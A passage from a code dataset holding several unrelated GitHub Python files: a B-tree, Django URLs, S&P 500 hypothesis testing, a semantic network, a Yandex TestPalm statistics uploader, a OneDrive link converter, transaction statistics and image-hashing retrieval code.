two\n # is going to have the new key\n if self.keys[i + 1] < k:\n i += 1\n self.children[i + 1].insertNonFull(k)\n\n # A utility function to split the child y of this node\n # Note that y must be full when this function is called\n def splitChild(self, i, y):\n # Create a new node which is going to store (t-1) keys of y\n z = BTreeNode(y.leaf)\n z.n = self.t - 1\n\n # Copy the last (t-1) keys of y to z\n for j in range(0, self.t - 1):\n z.keys[j] = y.keys[j + self.t]\n\n # Copy the last t children of y to z\n if not y.leaf:\n for j in range(0, self.t):\n z.children[j] = y.children[j + self.t]\n\n # Reduce the number of keys in y\n y.n = self.t - 1\n\n # Since this node is going to have a new child,\n # create space of new child\n for j in range(self.n, i, -1):\n self.children[j + 1] = self.children[j]\n\n # Link the new child to this node\n self.children[i + 1] = z\n\n # A key of y will move to this node. Find the location of\n # new key and move all greater keys one space ahead\n for j in range(self.n - 1, i - 1, -1):\n self.keys[j + 1] = self.keys[j]\n\n # Copy the middle key of y to this node\n self.keys[i] = y.keys[self.t - 1]\n\n # Increment count of keys in this node\n self.n += 1\n\n\nclass BTree:\n # Constructor (Initializes tree as empty)\n def __init__(self):\n self.root = None\n self.t = 2 # Minimum degree\n\n # function to traverse the tree\n def traverse(self):\n if self.root is not None:\n self.root.traverse()\n\n def search(self, k):\n if self.root is None:\n return None\n else:\n return self.root.search(k)\n\n # The main function that inserts a new key in this B-Tree\n def insert(self, k):\n # If tree is empty\n if self.root is None:\n # Allocate memory for root\n self.root = BTreeNode(True)\n self.root.keys[0] = k # Insert key\n self.root.n = 1 # Update number of keys in root\n else: # If tree is not empty\n # If root is full, then tree grows in height\n if self.root.n == 2 * self.t - 1:\n # Allocate memory for new root\n s = BTreeNode(False)\n\n # Make old root as child of new root\n s.children[0] = self.root\n\n # Split the old root and move 1 key to the new root\n s.splitChild(0, self.root)\n\n # New root has two children now. Decide which of the\n # two children is going to have new key\n i = 0\n if s.keys[0] < k:\n i += 1\n s.children[i].insertNonFull(k)\n\n # Change root\n self.root = s\n else: # If root is not full, call insertNonFull for root\n return self.root.insertNonFull(k)\n","repo_name":"enzief/trash","sub_path":"BTree.py","file_name":"BTree.py","file_ext":"py","file_size_in_byte":5648,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"71914731922","text":"from django.conf import settings\r\nfrom django.conf.urls.static import static\r\nfrom django.urls import path\r\n\r\nfrom . import views\r\n\r\napp_name = 'posts'\r\n\r\nurlpatterns = [\r\n path('', views.index, name='index'),\r\n path('map', views.map_page, name='map'),\r\n path('favorites//', views.favorites, name='favorites'),\r\n path('weather', views.weather, name='weather'),\r\n path('create', views.post_create, name='create_post'),\r\n path('posts//', views.post_detail, name='post_detail'),\r\n path('profile//', views.profile, name='profile'),\r\n path('profile//settings', views.settings, name='settings'),\r\n path('posts//comment', views.add_comment, name='add_comment'),\r\n path('posts//like/', views.add_like, name='add_like'),\r\n path('posts/comment_like/',\r\n views.add_like_comment, name='add_like_comment'),\r\n path('follow/', views.follow_index, name='follow_index'),\r\n path('profile//follow/',\r\n views.profile_follow, name='profile_follow'),\r\n path(\r\n 'profile//unfollow/',\r\n views.profile_unfollow,\r\n name='profile_unfollow'\r\n ),\r\n]\r\n\r\nif settings.DEBUG:\r\n urlpatterns += static(\r\n settings.MEDIA_URL, document_root=settings.MEDIA_ROOT\r\n )\r\n","repo_name":"Vados21/GeoSpots","sub_path":"GeoSpots/posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24162898666","text":"#In[0] importamos librerias\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom scipy.stats import norm\r\nimport matplotlib.pyplot as plt\r\n\r\n#In[1] importar SP500.csv y agregar una nueva función: retorno logaritmico\r\nspx = pd.read_csv('C:/Users/Usuario/Desktop/Bases de datos/US500_Daily.csv')\r\nspx['logReturn'] = np.log(spx['CLOSE'].shift(-1)) - np.log(spx['CLOSE'])\r\n\r\n#In[2]retorno logaritmico sube y baja durante el período\r\nspx['logReturn'].plot(figsize=(20, 8))\r\nplt.axhline(0, color='red')\r\nplt.show()\r\n\r\n#In[3]Pasos involucrados en la prueba de una afirmación mediante la prueba de hipótesis\r\n#Paso 1: Establecer hipótesis\r\n#H0:μ=0 Ha:μ≠0\r\n#H0 significa que el rendimiento promedio de las acciones es 0 H1 significa que el rendimiento promedio de las acciones no es igual a 0\r\n\r\n#In[]Paso 2: Calcular el estadístico de prueba\r\nsample_mean = spx['logReturn'].mean()\r\nsample_std = spx['logReturn'].std(ddof=1)\r\nn = spx['logReturn'].shape[0]\r\n\r\n# si el tamaño de la muestra n es lo suficientemente grande, podemos usar la distribución z, en lugar de la distribución t\r\n# mu = 0 bajo la hipótesis nula\r\n\r\nzhat = (sample_mean - 0)/(sample_std/n**0.5)\r\nprint(zhat)\r\n#In[]Paso 3: Establecer criterios de decisión\r\n# nivel de confianza\r\nalpha = 0.05\r\n\r\nzleft = norm.ppf(alpha/2, 0, 1)\r\nzright = -zleft # la distribución z es simétrica\r\nprint(zleft, zright)\r\n\r\n#In[]Paso 4: Tomar una decisión: ¿rechazaremos H0?\r\nprint('En un nivel significativo de {}, vamos a rechazar: {}'.format(alpha, zhat>zright or zhat currentMost):\n currentMost = values.count(item)\n currentBest = item\n return currentBest\n\n\n def query_local_assoc(self, entity, association):\n decl = self.query_local(e1 = entity, rel = association)\n values = [d.relation.entity2 for d in decl]\n val_freqs = Counter(values)\n if isinstance(decl[0], Association) or isinstance(decl[0].relation, Association):\n toRet = []\n comm = val_freqs.most_common()\n summ = 0.0\n while(summ<0.75 and comm):\n tmp = comm.pop(0)\n perc = (tmp[1]+0.0)/len(values)\n summ += perc\n toRet.append((tmp[0], perc))\n return toRet\n elif isinstance(decl[0], AssocOne) or isinstance(decl[0].relation, AssocOne):\n tmp = val_freqs.most_common()\n return (tmp[0][0], tmp[0][1]/len(values))\n elif isinstance(decl[0], AssocNum) or isinstance(decl[0].relation, AssocNum):\n val = 0\n for v in values:\n val+=v\n return val/len(values)\n\n def query_assoc_value(self, entity, association):\n decl = self.query_local(e1 = entity, rel = association)\n values = [d.relation.entity2 for d in decl]\n #check if all are the same\n if(decl and all(d.relation.entity2 == values[0] for d in decl)): \n return values[0]\n\n tmp = [d for d in self.query(entity, association)]\n valuesAll = [d.relation.entity2 for d in tmp]\n counterLocal = Counter(values)\n print(valuesAll)\n #check if there is heritage\n if(not valuesAll):\n return counterLocal.most_common()[0][0]\n\n counterAll = Counter(valuesAll)\n currentMin = None\n currentV = None\n for k in counterAll.most_common():\n key = k[0]\n if(currentMin == None):\n currentMin = counterLocal[key] + counterAll[key]\n currentV = key\n else:\n tmp = counterLocal[key] + counterAll[key]\n if(tmp>currentMin):\n currentMin = tmp\n currentV = key\n return currentV\n\n\n \n\n# Funcao auxiliar para converter para cadeias de caracteres\n# listas cujos elementos sejam convertiveis para\n# cadeias de caracteres\ndef my_list2string(list):\n if list == []:\n return \"[]\"\n s = \"[ \" + str(list[0])\n for i in range(1,len(list)):\n s += \", \" + str(list[i])\n return s + \" ]\"\n \n\n","repo_name":"SirCocas/Ano3Semestre1","sub_path":"repo/guiao-rc-SirCocas/semantic_network.py","file_name":"semantic_network.py","file_ext":"py","file_size_in_byte":9633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16408123790","text":"from .models import Poll\nfrom organizers.models import Organizer\n\ndef get_organizer_polls(request):\n\n user = request.user\n\n empty = []\n\n if user.is_authenticated:\n\n try:\n\n organizer = Organizer.objects.get(user=user)\n\n except:\n\n print(\"user is not associated with an organizer profile\")\n\n return {\n 'organizer_polls': empty\n }\n\n else:\n\n polls = Poll.objects.filter(organizer=organizer)\n\n return {\n 'organizer_polls': polls\n }\n\n else:\n\n return {\n 'organizer_polls': empty\n }","repo_name":"TruphenaKwamboka/voting-app","sub_path":"polls/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29223063127","text":"import json\nimport urllib.parse\nfrom datetime import date\nfrom os import getenv\nimport requests\nimport urllib3\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nTESTPALM_TOKEN = getenv('TP_TOKEN')\nSTAT_TOKEN = getenv('STAT_TOKEN')\n\nSTAT_URL = 'Maps_Plus_Beta/QA/Confeta/test_count'\n\nPRODUCTS_LIST = [\n ['agency_room', 'attributes.5eb3c9d29fcbfa398eb63ac9'],\n ['autolauncher', 'attributes.5ea181b29fcbfa398eb1dcff'],\n ['automotive', 'attributes.5dd3d23f27a9909ea5a30eb9'],\n ['courier', 'attributes.5e32a75927a9906d48031fc3'],\n ['fbapi', 'attributes.5f364853b9a54406ddec8436'],\n ['mapkit', 'attributes.5da6ca123d42cbe0f89efee8'],\n ['mirrors', 'attributes.5ea8787d42a89a496ee62735'],\n ['mpro', 'attributes.5dfc03c827a990afebedab05'],\n ['navi-mobile-testing', 'attributes.5fca14d8b2333200112b0730'],\n ['navigator', 'attributes.5dd50ef38d20300e237b7501'],\n ['nmaps', 'attributes.5dd56a463d42cb93aafc7c0c'],\n ['smb_cabinet', 'attributes.5eb3ca94396e4d94bb52236d'],\n ['ugc_profile', 'attributes.6040f41cc2b1880104d58f45'],\n ['zapravki', 'attributes.5ea181c3396e4d94bb4d24de'],\n]\n\n\ndef get_test_cases_by_filter(project, filter):\n tp_url = f'https://testpalm-api.yandex-team.ru/testcases/{project}?expression='\n req_headers = {'Authorization': 'OAuth %s' % TESTPALM_TOKEN}\n url = tp_url + urllib.parse.quote(json.dumps(filter, ensure_ascii=False, separators=(',', ': ')))\n params = {'include': 'id'}\n\n res = requests.get(url, params=params, headers=req_headers, verify=False)\n cases = res.json()\n\n return len(cases)\n\n\ndef get_queries_list_by_product(product):\n queries_list = []\n tp_project = product[0]\n tp_attr = product[1]\n\n ready = {'type': 'EQ', 'key': tp_attr, 'value': 'ready'}\n nsfa = {'type': 'EQ', 'key': tp_attr, 'value': 'nsfa'}\n not_nsfa = {'type': 'NEQ', 'key': tp_attr, 'value': 'nsfa'}\n not_ready = {'type': 'NEQ', 'key': tp_attr, 'value': 'ready'}\n wrong = {'type': 'AND', 'left': not_nsfa, 'right': not_ready}\n actual_cases_query = {'type': 'EQ', 'key': 'status', 'value': 'actual'}\n ready_cases_query = {'type': 'AND', 'left': actual_cases_query, 'right': ready}\n nsfa_cases_query = {'type': 'AND', 'left': actual_cases_query, 'right': nsfa}\n wrong_cases_query = {'type': 'AND', 'left': actual_cases_query, 'right': wrong}\n\n actual_cases_query = get_test_cases_by_filter(tp_project, filter=actual_cases_query)\n ready_cases_query = get_test_cases_by_filter(tp_project, filter=ready_cases_query)\n nsfa_cases_query = get_test_cases_by_filter(tp_project, filter=nsfa_cases_query)\n wrong_cases_query = get_test_cases_by_filter(tp_project, filter=wrong_cases_query)\n\n queries_list.extend([actual_cases_query, ready_cases_query, nsfa_cases_query, wrong_cases_query])\n\n return queries_list\n\n\ndef main():\n today = date.today().isoformat()\n\n for product in PRODUCTS_LIST:\n queries_list = get_queries_list_by_product(product)\n\n data = [\n {\n 'fielddate': today,\n 'product': product[0],\n 'actual_cases_count': queries_list[0],\n 'ready_cases_count': queries_list[1],\n 'nsfa_cases_count': queries_list[2],\n 'wrong_cases_count': queries_list[3]\n }\n ]\n\n requests.post(\n 'https://upload.stat.yandex-team.ru/_api/report/data',\n headers={'Authorization': 'OAuth %s' % STAT_TOKEN},\n data={\n 'name': STAT_URL,\n 'scale': 'd',\n 'data': json.dumps({'values': data}),\n },\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/test_cases_for_assessors/test_cases_for_assessors.py","file_name":"test_cases_for_assessors.py","file_ext":"py","file_size_in_byte":3678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40605058295","text":"import re\r\n\r\nfirst_run = True # 添加一个布尔型变量\r\ndef judgeLink(url):\r\n reg1 = r'https://.+sharepoint\\.com'\r\n reg2 = r'personal/(\\w+?)/'\r\n reg3 = r'.*/(\\S+)'\r\n reg4 = r'com/:(\\w):/'\r\n\r\n p1 = re.findall(reg1, url)[0]\r\n p2 = re.findall(reg2, url)[0]\r\n p3 = re.findall(reg3, url)[0]\r\n\r\n if '?' in p3:\r\n p3 = re.findall(r'(\\S+?)\\?', p3)[0]\r\n\r\n if re.findall(reg4, url)[0] == 'f':\r\n return \"抱歉，你所输入链接分享的是文件夹，直链生成仅对单文件有效。\"\r\n\r\n return p1 + '/personal/' + p2 + '/_layouts/52/download.aspx?share=' + p3\r\n\r\nif __name__ == \"__main__\":\r\n while True:\r\n try:\r\n if first_run: # 第一次运行时输出提示语句\r\n print(\"作者万能的啊朔，了解更多访问：www.0oo0.cc\")\r\n first_run = False\r\n \r\n url = input(\"请输入你的OneDrive单文件分享链接：\")\r\n url_judged = judgeLink(url)\r\n print(f\"\\nOneDrive直接链接为：{url_judged}\\n\")\r\n except Exception:\r\n print(\"\\n>>> 输入链接错误，请重新输入。\")\r\n continue\r\n","repo_name":"shuotianze/OneDriveSC","sub_path":"OneDrive文件直链.py","file_name":"OneDrive文件直链.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"34383672032","text":"# making use of user defined/created module\nfrom load_dataset import load_data\n\n\ndef user_min_max(user_id) -> str:\n \"\"\"\n Parameters: user_id\n Purpose: Reads the data and get the min and max transaction amount for a provided user\n Return: maximum and minimum transaction amount of the user\n \"\"\"\n data = load_data()\n list_amount = []\n try:\n for index in data[user_id]:\n list_amount.append(index[2])\n return f\"User with id {user_id} has a maximum transaction amount of {max(list_amount)} and a minimum trasaction amount of {min(list_amount)}\"\n except Exception:\n return f\"No user with id of {user_id} was found\"\n\n\ndef location_centroid(user_id) -> list:\n \"\"\"\n Parameters: user_id\n Purpose: Reads the data and get the location centroid for a provided user\n Return: location centroid of the user\n \"\"\"\n\n data = load_data()\n x_coordinates = []\n y_coordinates = []\n summed_coordinates = [] #this holds the x and y coordinates list\n try:\n for index in data[user_id]:\n x_coordinates.append(float(index[3]))\n y_coordinates.append(float(index[4]))\n summed_coordinates.append(x_coordinates)\n summed_coordinates.append(y_coordinates)\n centroid = [\n sum(summed_coordinates[0]) / len(summed_coordinates[0]),\n sum(summed_coordinates[1]) / len(summed_coordinates[1]),\n ]\n return centroid\n except Exception:\n return f\"No user with id of {user_id} was found\"\n\n\ndef distance_from_centroid(user_id, transaction_id) -> float:\n \"\"\"\n Parameters: user_id and transaction_id\n Purpose: finds the distance between a user transaction and the user location centroid for transactions\n Return: distance between a user transaction and the user location centroid for transactions\n \"\"\"\n data = load_data()\n x_coordinates = []\n y_coordinates = []\n summed_coordinates = []\n try:\n for index in data[user_id]:\n x_coordinates.append(float(index[3]))\n y_coordinates.append(float(index[4]))\n summed_coordinates.append(x_coordinates)\n summed_coordinates.append(y_coordinates)\n centroid = [\n sum(summed_coordinates[0]) / len(summed_coordinates[0]),\n sum(summed_coordinates[1]) / len(summed_coordinates[1]),\n ]\n except Exception:\n return f\"No user with id of {user_id} was found\"\n try:\n transaction_location = []\n for i in data[user_id]:\n if i[0] == str(transaction_id):\n transaction_x_coord = float(i[3])\n transaction_y_coord = float(i[4])\n transaction_location.append(transaction_x_coord)\n transaction_location.append(transaction_x_coord)\n distance_from_centroid = (\n (transaction_location[0] - centroid[0]) ** 2\n + (transaction_location[1] - centroid[1]) ** 2\n ) ** 0.5\n\n return distance_from_centroid\n except Exception:\n return f\"An exception occurred, either due to wrong user id or transaction id does not match that particular user\"\n\n\ndef var_transaction_user(user_id) -> float:\n \"\"\"\n Parameters: user_id\n Purpose: calculates the variance of transaction for a provided user\n Return: variance of transaction amount\n \"\"\"\n data = load_data()\n list_amount = []\n try:\n for index in data[user_id]:\n list_amount.append(float(index[2]))\n n = len(list_amount)\n mean = sum(list_amount) / n\n deviations = [(x - mean) ** 2 for x in list_amount]\n variance = sum(deviations) / n\n return variance\n except Exception:\n return f\"No user with id of {user_id} was found\"\n\n\ndef std_transaction_user(user_id) -> float:\n \"\"\"\n Parameters: user_id\n Purpose: calculates the standard deviatioin of transaction for a provided user\n Return: standard deviation of transaction amount\n \"\"\"\n try:\n var = var_transaction_user(user_id)\n std_dev = var ** (1 / 2)\n return std_dev\n except Exception:\n return f\"No user with id of {user_id} was found\"\n\n\ndef transaction_status(transaction_id) -> dict:\n \"\"\"\n Parameters: transaction identity\n Purpose: determines whether a transaction is fraudulent or not and \n Return: the transaction status and the transaction identities\n \"\"\"\n data = load_data()\n for i in data.values():\n for j in i:\n if j[0] == str(transaction_id):\n return {\n \"status of the transaction\": j[-1],\n \"description of transaction\": j[1],\n }\n\n\ndef distance_between_transaction_user(user_id) -> float:\n \"\"\"\n Parameters: user id\n Purpose: takes the id of a user, gets all the transaction id related to the user and find the distance between two transaction id selected \n Return: the distance between the two different transactions in particular to the user_id\n \"\"\"\n data = load_data()\n print(\"Choose the two respective transactions id from the list below\")\n try:\n for index in data[user_id]:\n print(index[0], end=\",\")\n except Exception:\n return f\"No user with id of {user_id} was found\"\n\n id_1 = input(\"\\n enter the first transaction id from the list above \")\n id_2 = input(\"enter the second transaction id from the list above \")\n ids_coordinates = []\n try:\n for ids in [id_1, id_2]:\n for i in data[user_id]:\n if i[0] == str(ids):\n id_coordinates = [float(i[3]), float(i[4])]\n ids_coordinates.append(id_coordinates)\n distance = (\n (ids_coordinates[0][0] - ids_coordinates[1][0]) ** 2\n + (ids_coordinates[0][1] - ids_coordinates[1][1]) ** 2\n ) ** 0.5\n return distance\n except Exception:\n return f\"An exception occurred, either due to wrong user id or transaction id does not match that particular user\"\n\n\ndef distance_between_transaction_any_user(user_id1, user_id2) -> float:\n \"\"\"\n Parameters: user id\n Purpose: takes the id of two different transactions and find the distance between them\n Return: the distance between the two different transactions\n \"\"\"\n data = load_data()\n transaction_ids = []\n ids_coordinates = []\n for user_id in [user_id1, user_id2]:\n print(f\"Choose one of the transactions id from the user {user_id} below\")\n try:\n for index in data[user_id]:\n print(index[0], end=\",\")\n tran_id = input(\"\\n enter one transaction id from the list above \")\n transaction_ids.append(tran_id)\n except Exception:\n return f\"No user with id of {user_id} was found\"\n try:\n for user_id in [user_id1, user_id2]:\n for ids in transaction_ids:\n for i in data[user_id]:\n if i[0] == str(ids):\n id_coordinates = [float(i[3]), float(i[4])]\n ids_coordinates.append(id_coordinates)\n distance = (\n (ids_coordinates[0][0] - ids_coordinates[1][0]) ** 2\n + (ids_coordinates[0][1] - ids_coordinates[1][1]) ** 2\n ) ** 0.5\n return distance\n except Exception:\n return f\"An exception occurred, either due to wrong user id or transaction id does not match that particular user\"\n","repo_name":"thoth2357/fraud_detection","sub_path":"user_statistics.py","file_name":"user_statistics.py","file_ext":"py","file_size_in_byte":7426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21123965480","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport commands\nimport six\nimport sys\nimport os\n\ndef main(argv):\n\n repositories = [\n [\"digego/extempore\", \"Yuya Chiba\"],\n [\"wesbos/dad-jokes\", \"Yuya Chiba\"],\n [\"donnemartin/gitsome\", \"blue9\"],\n [\"highlightjs/highlightjs-xtlang\", \"Yuya Chiba\"],\n [\"extemporelang/extemporelang.github.io\", \"Yuya Chiba\"],\n [\"cyblue9/blue9s-extempore-songs\", \"Yuya Chiba\"],\n [\"cyblue9/github-trending\", \"Yuya Chiba\"],\n [\"cyblue9/cyblue9.github.io\", \"Yuya Chiba\"],\n [\"k88hudson/git-flight-rules\", \"cyblue9\"],\n [\"flxbe/asm-space-invaders\", \"Yuya Chiba\"],\n [\"donnemartin/haxor-news\", \"blue-9\"],\n [\"cyblue9/seti-black-ui\", \"Yuya Chiba\"],\n [\"cyblue9/In_that_book_mercari\", \"Yuya Chiba\"],\n [\"asciidwango/js-primer\", \"blue-9\"],\n [\"cyblue9/camera_calibration\", \"千葉裕也\"],\n [\"cyblue9/Simulation_of_Lanchester-s_laws\", \"千葉裕也\"],\n ]\n\n os.system(\"mkdir tmp\")\n os.chdir(\"tmp\")\n\n for repo in repositories:\n os.system(\"git clone https://github.com/{0}.git\".format(repo[0]))\n total_lines = 0\n for repo in repositories:\n six.print_(\"Calc lines of code in {0} (author:{1})\".format(repo[0], repo[1]), end=\" is \")\n os.chdir(\"{0}\".format(repo[0].split('/')[1]))\n result = commands.getoutput('git ls-files | xargs -n1 git --no-pager blame -f -w | grep \"{0}\" | wc -l'.format(repo[1]))\n lines = result.split('\\n')[-1].strip()\n print(lines)\n total_lines += int(lines)\n os.chdir(\"../\")\n\n os.chdir(\"../\")\n print(\"total lines: {0}\".format(total_lines))\n os.system(\"rm -r tmp\")\n\nif __name__ == '__main__':\n main(sys.argv)\n","repo_name":"cyblue9/cyblue9.github.io","sub_path":"scripts/count_line_of_code_in_github.py","file_name":"count_line_of_code_in_github.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72394266961","text":"# ## method 1: 66% faster 18% less space\n# def reverse(x):\n# neg = False\n# x_str = str(x)\n# if x_str[0] == '-':\n# neg = True\n# x_str = x_str[1:]\n#\n# reverse = int(x_str[::-1])\n# if neg:\n# reverse = -int(x_str[::-1])\n#\n# if (reverse > (2**31)-1) or (reverse < -(2**31)):\n# reverse = 0\n#\n# return reverse\n# ## method 2: 85%, 67%\n# def reverse(x):\n# if (x >= (2**31)-1) or (x <= -(2**31)):\n# return 0\n# else:\n# x_str = str(x)\n# if x >= 0:\n# reverse = x_str[::-1]\n# else:\n# reverse = \"-\" + x_str[:0:-1] # end (inclusive) to 0 (exclusive)\n# reverse = int(reverse)\n# if reverse >= (2**31)-1 or reverse <= -(2**31):\n# return 0\n#\n# return reverse\n## method 3:\ndef reverse(x):\n if (x >= (2**31)-1) or (x <= -(2**31)):\n return 0\n\n reverse = int(str(abs(x))[::-1])\n\n if reverse >= (2**31)-1:\n return 0\n\n return reverse if x > 0 else (-reverse)\n\nreverse(123)\nreverse(-123)\nreverse(120)\nreverse(1534236469)\n","repo_name":"Gigi1111/Python_Coding_Challenges","sub_path":"reverse_int.py","file_name":"reverse_int.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33309302243","text":"import math\nimport os\nimport pickle\nfrom datetime import datetime\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nimport torchvision.transforms as transforms\nfrom PIL import Image, ImageDraw\nfrom torch.utils.data import DataLoader\n\nimport utils.cnn_model as cnn_model\nimport utils.data_processing as dp\n\nimport shutil\n\n\ndef create_dataset(dataset_name):\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n transformations = transforms.Compose([\n transforms.Scale(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n normalize\n ])\n if dataset_name == 'NUS-WIDE':\n dset_test = dp.DatasetProcessingNUS_WIDE('data/NUS-WIDE', 'test_img.txt', transformations)\n return dset_test\n if dataset_name == 'CIFAR-10':\n dset_test = dp.DatasetProcessingCIFAR_10('data/CIFAR-10', 'test_img.txt', transformations)\n return dset_test\n if dataset_name == 'Project':\n if not os.path.exists('dcodes/adch-project-48bits-record.pkl'):\n record = {}\n dset_database = dp.DatasetProcessingPorject('data/Project', 'database_img.txt', transformations)\n databaseloader = DataLoader(dset_database, batch_size=1, shuffle=False, num_workers=4)\n model = cnn_model.CNNNet('resnet50', 48)\n model.load_state_dict(torch.load('dict/adch-nuswide-48bits.pth', map_location=torch.device('cpu')))\n model.eval()\n rB = encode(model, databaseloader, 4985, 48)\n record['rB'] = rB\n with open('dcodes/adch-project-48bits-record.pkl', 'wb') as fp:\n pickle.dump(record, fp)\n dset_test = dp.DatasetProcessingPorject('data/Project', 'test_img.txt', transformations)\n return dset_test\n\n\ndef encode(model, data_loader, num_data, bit):\n B = np.zeros([num_data, bit], dtype=np.float32)\n for iter, data in enumerate(data_loader, 0):\n data_input, data_ind = data\n output = model(data_input)\n B[data_ind.numpy(), :] = torch.sign(output).detach().numpy()\n return B\n\n\ndef create_retrieval_result_fig(model_name, dataset_name):\n if model_name == 'adch':\n result_dir = '-'.join(['result/result-ADCH', dataset_name, datetime.now().strftime(\"%y-%m-%d-%H-%M-%S\")])\n else:\n result_dir = '-'.join(['result/result-ADSH', dataset_name, datetime.now().strftime(\"%y-%m-%d-%H-%M-%S\")])\n os.mkdir(result_dir)\n model = cnn_model.CNNNet('resnet50', 48)\n dimg_paths = []\n timg_paths = []\n timg_ori_paths = []\n if dataset_name == 'CIFAR-10':\n rLfile = open('data/' + dataset_name + '/database_label.txt')\n qLfile = open('data/' + dataset_name + '/test_label.txt')\n rlables = [int(x.strip()) for x in rLfile]\n qLables = [int(x.strip()) for x in qLfile]\n rL = np.zeros([len(rlables), 10])\n for i in range(len(rlables)):\n rL[i, rlables[i]] = 1\n qL = np.zeros([len(qLables), 10])\n for i in range(len(qLables)):\n qL[i, qLables[i]] = 1\n rLfile.close()\n qLfile.close()\n elif dataset_name == 'NUS-WIDE':\n rL = np.loadtxt('data/NUS-WIDE/database_label.txt', dtype=np.int64)\n qL = np.loadtxt('data/NUS-WIDE/test_label.txt', dtype=np.int64)\n if dataset_name == 'Project':\n dfile = open('data/' + dataset_name + '/database_img.txt', 'r', encoding='utf-8')\n tfile = open('data/' + dataset_name + '/test_img.txt', 'r', encoding='utf-8')\n tfile_ori = open('data/' + dataset_name + '/test_img_bak.txt', 'r', encoding='utf-8')\n else:\n dfile = open('data/' + dataset_name + '/database_img.txt', 'r')\n tfile = open('data/' + dataset_name + '/test_img.txt', 'r')\n tfile_ori = open('data/' + dataset_name + '/test_img_bak.txt', 'r')\n if model_name == 'adch':\n if dataset_name == 'CIFAR-10':\n model.load_state_dict(torch.load('dict/adch-cifar10-48bits.pth', map_location=torch.device('cpu')))\n else:\n model.load_state_dict(torch.load('dict/adch-nuswide-48bits.pth', map_location=torch.device('cpu')))\n else:\n if dataset_name == 'CIFAR-10':\n model.load_state_dict(torch.load('dict/adsh-cifar10-48bits.pth', map_location=torch.device('cpu')))\n else:\n model.load_state_dict(torch.load('dict/adsh-nuswide-48bits.pth', map_location=torch.device('cpu')))\n for line in dfile.readlines():\n dimg_paths.append(line.strip())\n for line in tfile.readlines():\n timg_paths.append(line.strip())\n for line in tfile_ori.readlines():\n timg_ori_paths.append(line.strip())\n dfile.close()\n tfile.close()\n tfile_ori.close()\n tind = []\n for i in range(5):\n tind.append(timg_ori_paths.index(timg_paths[i]))\n model.eval()\n dset_test = create_dataset(dataset_name)\n testloader = DataLoader(dset_test, batch_size=1, shuffle=False, num_workers=4)\n if dataset_name == 'CIFAR-10':\n f = open('dcodes/adch-cifar10-48bits-record.pkl', 'rb')\n elif dataset_name == 'NUS-WIDE':\n f = open('dcodes/adch-nuswide-48bits-record.pkl', 'rb')\n else:\n f = open('dcodes/adch-project-48bits-record.pkl', 'rb')\n record = pickle.load(f)\n f.close()\n qB = encode(model, testloader, len(dset_test), 48)\n rB = record['rB']\n qimgs = []\n rimgs = []\n accuracies = []\n for i in range(5):\n # accuracy = []\n # gnd = (np.dot(qL[tind[i], :], rL.transpose()) > 0).astype(np.float32)\n hamm = calc_hamming_dist(qB[i], rB)\n ind = np.argsort(hamm)\n rimg_dir = os.path.join(result_dir, timg_paths[i].split('/')[1].split('.')[0])\n os.mkdir(rimg_dir)\n for j in range(24):\n rimg_path = os.path.join('data/' + dataset_name, dimg_paths[ind[j]])\n dest_path = os.path.join(rimg_dir, dimg_paths[ind[j]].split('/')[1])\n shutil.copy(rimg_path, dest_path)\n qimg = Image.open(os.path.join('data/' + dataset_name, timg_paths[i]))\n qimg = qimg.resize((200, 100))\n qimgs.append(qimg)\n for j in range(10):\n # accuracy.append(gnd[ind[j]])\n rimg = Image.open(os.path.join('data/' + dataset_name, dimg_paths[ind[j]]))\n rimg = rimg.resize((200, 100))\n rimgs.append(rimg)\n # accuracies.append(accuracy)\n plt.figure(figsize=(24, 5.5))\n for i in range(5):\n plt.subplot(5, 11, i * 11 + 1)\n plt.imshow(qimgs[i])\n plt.axis('off')\n for j in range(10):\n plt.subplot(5, 11, i * 11 + j + 2)\n image = rimgs[i * 10 + j]\n # if accuracies[i][j] < 1:\n # draw = ImageDraw.Draw(image)\n # draw.line(\n # [(2, 4), (2, image.size[1] - 4), (image.size[0] - 3, image.size[1] - 4), (image.size[0] - 3, 4),\n # (2, 4)], width=4, fill='red')\n plt.imshow(image)\n plt.axis('off')\n plt.subplots_adjust(left=0, top=0.8, right=0.8, bottom=0, wspace=0.02, hspace=0.02)\n plt.savefig(os.path.join(result_dir, 'result'), bbox_inches='tight')\n plt.show()\n\n\ndef calc_hamming_dist(B1, B2):\n q = 48\n distH = 0.5 * (q - np.dot(B1, B2.transpose()))\n return distH\n\n\ndef calc_linearscan_time_consume(model_name, dataset_name):\n if model_name == 'adch':\n if dataset_name == 'cifar10':\n f = open('dcodes/adch-cifar10-48bits-record.pkl', 'rb')\n else:\n f = open('dcodes/adch-nuswide-48bits-record.pkl', 'rb')\n else:\n if dataset_name == 'cifar10':\n f = open('dcodes/adsh-cifar10-48bits-record.pkl', 'rb')\n else:\n f = 